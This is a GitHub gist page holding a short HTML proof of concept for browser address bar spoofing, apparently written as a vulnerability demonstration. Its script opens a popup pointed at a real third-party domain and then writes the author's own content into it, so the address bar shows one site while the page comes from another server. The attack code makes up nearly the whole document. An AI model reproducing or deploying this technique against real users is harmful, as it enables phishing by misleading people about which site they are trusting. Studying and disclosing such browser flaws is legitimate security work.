Skip to content

Instantly share code, notes, and snippets.

@jimen0

jimen0/Address bar Spoofing PoC

Created June 21, 2015 19:52
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save jimen0/c310180ae6c8c72c8ec3 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save jimen0/c310180ae6c8c72c8ec3 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. M. Ángel Jimeno created this gist Jun 21, 2015.
    18 changes: 18 additions & 0 deletions Address bar Spoofing PoC
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
    <html>
    <head><title>address bar spoofing</title>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
    </head>
    <body><h1>address bar spoofing</h1>
    <li>Please click the button to run the proof of concept. <button id="one">Demo</button></li>
    <script type="text/javascript">
    document.getElementById('one').onclick = function() {
    myWindow=window.open('http://underc0de.org/','Underc0de','width=200,height=100,location=yes');
    myWindow.document.write("<html><head></head><body><b>This page is still being hosted on my server (192.3.54.224), but the address bar is pointing to another domain (underc0de.org).</b><br><br><iframe src=\"http://underc0de.org/\");></iframe></scri+pt></body></html>");
    myWindow.focus();
    return false;
    }
    </script>
    </body>
    </html>